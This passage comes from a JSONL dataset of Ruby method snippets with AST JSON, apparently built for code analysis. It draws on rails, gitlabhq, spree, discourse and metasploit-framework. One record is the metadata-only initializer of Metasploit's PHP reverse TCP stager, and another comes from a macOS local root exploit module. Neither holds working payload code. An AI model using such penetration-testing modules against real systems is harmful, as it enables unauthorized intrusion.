parents\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subfolders\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subfolders_query\",{\"type\":\"const\",\"children\":[null,\"MIMETYPE_GOOGLE_DRIVE_FOLDER\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parents_query\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subfolders_query\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parents_query\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"list_files\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_items_from_all_drives\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supports_all_drives\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"subfolders_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"const\",\"children\":[null,\"FIELDS\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subfolders_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parents_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subfolders_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\" in parents or \"]}]}]},{\"type\":\"str\",\"children\":[\" in parents)\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_type\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" and mimeType = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_type\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parents_query\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parents_query\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"d9053171-bedc-476e-802d-0b6348c1354f"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/countries_controller.rb","start_line":33,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.storefront_country_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_country_serializer\"]},\"constantize\"]}]}","id":"62c25131-5c2c-4f7e-a8fd-ac41f7f2b64d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/nested_through_associations_test.rb","start_line":426,"raw_source":"def test_distinct_has_many_through_a_has_many_through_association_on_source_reflection\n    author = authors(:david)\n    assert_equal [tags(:general)], author.distinct_tags\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_distinct_has_many_through_a_has_many_through_association_on_source_reflection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"general\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"distinct_tags\"]}]}]}]}","id":"10483e74-9ffc-40a6-8282-6ebfa823e395"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/quantifier.rb","start_line":27,"raw_source":"def can_supply?(required = 1)\n        variant.available? && (total_on_hand >= required || backorderable?)\n      end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"can_supply?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"required\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variant\"]},\"available?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_on_hand\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"required\"]}]},{\"type\":\"send\",\"children\":[null,\"backorderable?\"]}]}]}]}]}","id":"8ffd0228-dbc4-47be-9145-cf6b909586d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":362,"raw_source":"def diff_refs\n    Gitlab::Diff::DiffRefs.new(\n      base_sha: self.parent_id || container.repository.blank_ref,\n      head_sha: self.sha\n    )\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"DiffRefs\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_sha\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"repository\"]},\"blank_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sha\"]}]}]}]}]}","id":"49fbfd7f-2821-40e2-8823-6bf4539a19be"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/php/reverse_tcp.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'PHP Reverse TCP Stager',\n        'Description' => 'Reverse PHP connect back stager with checks for disabled functions',\n        'Author' => 'egypt',\n        'License' => MSF_LICENSE,\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Stager' => { 'Payload' => '' }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PHP Reverse TCP Stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Reverse PHP connect back stager with checks for disabled functions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"ee3a856e-eb9b-4b3b-a21b-e2b45ca89152"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/protected_ref_access.rb","start_line":88,"raw_source":"def admin_access?\n    role? && access_level == ::Gitlab::Access::ADMIN\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_access?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_level\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"ADMIN\"]}]}]}]}","id":"f105c2cd-1501-4f91-b3e2-02e10c7f975e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/extensions.rb","start_line":246,"raw_source":"def read_hash_with_indifferent_access(unpacker)\n        ActiveSupport::HashWithIndifferentAccess.new(unpacker.read)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_hash_with_indifferent_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unpacker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacker\"]},\"read\"]}]}]}","id":"4a6b9fa8-3441-46f1-965a-c7001e7ebbaa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff_collection.rb","start_line":174,"raw_source":"def each_gitaly_patch\n        @iterator.each_with_index do |raw, iterator_index|\n          @empty = false\n\n          options = { expanded: expand_diff?(raw) }\n          options[:generated] = @generated_files.include?(raw.from_path) if @generated_files\n\n          diff = Gitlab::Git::Diff.new(raw, **options)\n\n          if raw.collapsed\n            @collapsed_safe_limits = true\n          end\n\n          if raw.overflow_marker\n            @overflow = true\n            # If we're requesting patches with `collect_all_paths` enabled, then\n            # Once we hit the overflow marker, gitaly has still returned diffs, just without\n            # patches, only metadata\n            unless @limits[:collect_all_paths]\n              break\n            end\n          end\n\n          if iterator_index >= @offset_index\n            @array << diff\n            yield diff\n          end\n        end\n      end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"each_gitaly_patch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@iterator\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"iterator_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@empty\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expanded\"]},{\"type\":\"send\",\"children\":[null,\"expand_diff?\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generated_files\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"generated\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generated_files\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"from_path\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Diff\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"collapsed\"]},{\"type\":\"ivasgn\",\"children\":[\"@collapsed_safe_limits\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"overflow_marker\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@overflow\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@limits\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collect_all_paths\"]}]},null,{\"type\":\"break\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterator_index\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@offset_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@array\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]}]}]},null]}]}]}]}","id":"d12720f4-0d07-468f-a776-d39e790f7046"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/work_packages_page.rb","start_line":67,"raw_source":"def click_work_packages_menu_item\n    find(\"#main-menu .work-packages\").click\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_work_packages_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#main-menu .work-packages\"]}]},\"click\"]}]}","id":"8c799fcb-e282-4221-9619-cf7bf90098fc"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":179,"raw_source":"def each\n      block_given? ? super : enum_for(:each)\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"each\"]}]}]}]}","id":"994cf342-551e-4692-a784-138f61337cf1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb","start_line":105,"raw_source":"def finder\n            MAPPINGS.fetch(subject_class).fetch(:finder_class).new(params[:current_user])\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPINGS\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"subject_class\"]}]},\"fetch\",{\"type\":\"sym\",\"children\":[\"finder_class\"]}]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}]}","id":"ff084c4c-13d2-4cf4-8932-02eec29e1f3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_constraints/validators/base.rb","start_line":78,"raw_source":"def logging_options\n            {\n              class: self.class.name.to_s,\n              connection_name: database_config_name,\n              constraint_name: name,\n              constraint_type: record.constraint_type,\n              table_name: table_name\n            }\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"logging_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_name\"]},{\"type\":\"send\",\"children\":[null,\"database_config_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"constraint_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[null,\"table_name\"]}]}]}]}","id":"8b491bbb-ee04-4e83-aba3-5d5569a9e651"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/schema_cache.rb","start_line":255,"raw_source":"def initialize # :nodoc:\n        @columns      = {}\n        @columns_hash = {}\n        @primary_keys = {}\n        @data_sources = {}\n        @indexes      = {}\n        @version = nil\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@columns\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@columns_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@primary_keys\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_sources\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@indexes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"eceaaf9b-f5d6-4c15-9282-d4cfb2621415"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/lazy_relation_loader/registry.rb","start_line":42,"raw_source":"def respond_to_missing?(method_name, include_private = false)\n            relation.respond_to?(method_name, include_private)\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"include_private\"]}]}]}","id":"e97c5871-eb10-4ccd-8226-0ab83c048cde"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":446,"raw_source":"def self.editable_user_custom_fields(by_staff: false)\n    fields = []\n    fields.push(*DiscoursePluginRegistry.self_editable_user_custom_fields)\n    fields.push(*DiscoursePluginRegistry.staff_editable_user_custom_fields) if by_staff\n\n    fields.uniq\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"editable_user_custom_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"by_staff\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"self_editable_user_custom_fields\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"by_staff\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"staff_editable_user_custom_fields\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"uniq\"]}]}]}","id":"c905f388-076a-4451-82ca-9302d5ff9008"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/vmware_bash_function_root.rb","start_line":68,"raw_source":"def base_dir\n    datastore['WritableDir'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]},\"to_s\"]}]}","id":"fa18942c-35b1-4dfd-a7fc-dedc9f757e06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/bitbucket/collection_spec.rb","start_line":11,"raw_source":"def items\n    @current_page += 1\n\n    raise StopIteration if @current_page > 2\n\n    [\"result_1_page_#{@current_page}\", \"result_2_page_#{@current_page}\"]\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_page\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_page\"]},\">\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StopIteration\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"result_1_page_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_page\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"result_2_page_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_page\"]}]}]}]}]}]}","id":"4c271e0d-8cc7-437e-98c1-d05e86c33cd3"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/recursive_denormalized_has_many_test.rb","start_line":37,"raw_source":"def test_uncached_record_from_the_db_will_use_normal_association_for_deeply_associated_records\n    expected = @associated_record.deeply_associated_records\n    record_from_db = Item.find(@record.id)\n    assert_equal(expected, record_from_db.fetch_associated_records[0].fetch_deeply_associated_records)\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uncached_record_from_the_db_will_use_normal_association_for_deeply_associated_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@associated_record\"]},\"deeply_associated_records\"]}]},{\"type\":\"lvasgn\",\"children\":[\"record_from_db\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_from_db\"]},\"fetch_associated_records\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"fetch_deeply_associated_records\"]}]}]}]}","id":"291a2460-1a1b-44c5-88c1-5d78641661b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils.rb","start_line":191,"raw_source":"def add_url_parameters(url, params)\n      uri = parse_url(url.to_s)\n      uri.query_values = uri.query_values.to_h.merge(params.to_h.stringify_keys)\n      uri.query_values = nil if uri.query_values.empty?\n      uri.to_s\n    end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_url_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"parse_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query_values=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query_values\"]},\"to_h\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"to_h\"]},\"stringify_keys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query_values\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query_values=\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]}]}]}","id":"c70e0ba7-7ef7-4a3d-8178-bc1b4f229662"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/ber.rb","start_line":169,"raw_source":"def decode_ip_address(data)\n        tag, value, remainder = decode_tlv(data)\n        raise InvalidTag, tag.to_s if tag != IpAddress_TAG\n        raise InvalidLength, tag.to_s if value.length != 4\n        return value, remainder\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_ip_address\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_tlv\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"IpAddress_TAG\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidTag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidLength\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\